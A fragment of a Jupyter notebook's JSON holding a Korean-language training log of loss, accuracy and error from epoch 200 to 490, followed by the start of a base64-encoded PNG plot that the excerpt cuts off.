"Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.007875239476561546 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013622043654322624 0.9975000023841858 0.002499997615814209\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0063912272453308105 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0406988188624382 0.9950000047683716 0.004999995231628418\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02382453717291355 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004967507906258106 1.0 0.0\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.018034666776657104 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.012713443487882614 0.9975000023841858 0.002499997615814209\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.005090922117233276 0.9929999709129333 0.00700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.041247785091400146 0.9950000047683716 0.004999995231628418\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.010441849008202553 0.9929999709129333 0.00700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0033462897408753633 0.9975000023841858 0.002499997615814209\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01773480325937271 0.9944999814033508 0.00550001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004229171201586723 0.9950000047683716 0.004999995231628418\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.020124631002545357 0.9944999814033508 0.00550001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0044654663652181625 0.9925000071525574 0.007499992847442627\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004316156264394522 0.9959999918937683 0.0040000081062316895\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007968262769281864 0.9925000071525574 0.007499992847442627\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006475555244833231 0.996999979019165 0.003000020980834961\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001728106290102005 0.9925000071525574 0.007499992847442627\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11213164776563644 0.9915000200271606 0.008499979972839355\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007517260033637285 0.9950000047683716 0.004999995231628418\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003019368276000023 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00970373209565878 0.9850000143051147 0.014999985694885254\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0020891670137643814 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005370491184294224 0.9925000071525574 0.007499992847442627\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006617264822125435 0.9944999814033508 0.00550001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002279374748468399 0.9900000095367432 0.009999990463256836\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.019927695393562317 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006396858487278223 0.9950000047683716 0.004999995231628418\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012988256290555 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006328207440674305 0.9975000023841858 0.002499997615814209\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.011903511360287666 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.009880582801997662 0.9900000095367432 0.009999990463256836\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0017054523341357708 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00225139525718987 0.9900000095367432 0.009999990463256836\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004498586058616638 0.9929999709129333 0.00700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0012623746879398823 0.9950000047683716 0.004999995231628418\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.023248648270964622 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10882677882909775 0.9925000071525574 0.007499992847442627\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03465258330106735 0.9929999709129333 0.00700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016515146708115935 0.9950000047683716 0.004999995231628418\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.015244754031300545 0.9959999918937683 0.0040000081062316895\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004188179038465023 0.9925000071525574 0.007499992847442627\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0022561613004654646 0.9934999942779541 0.0065000057220458984\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09513066709041595 0.9925000071525574 0.007499992847442627\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0019066331442445517 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0022373704705387354 0.9975000023841858 0.002499997615814209\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0034815138205885887 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010682737920433283 0.9975000023841858 0.002499997615814209\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0038990965113043785 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06882074475288391 0.987500011920929 0.012499988079071045\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07589522749185562 0.9959999918937683 0.0040000081062316895\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016924358205869794 0.9900000095367432 0.009999990463256836\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003678450593724847 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03602749854326248 0.987500011920929 0.012499988079071045\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.046313803642988205 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0008324580849148333 0.9925000071525574 0.007499992847442627\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01912859082221985 0.9934999942779541 0.0065000057220458984\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006563396658748388 0.9975000023841858 0.002499997615814209\n" ] }, { "data": { "image/png": "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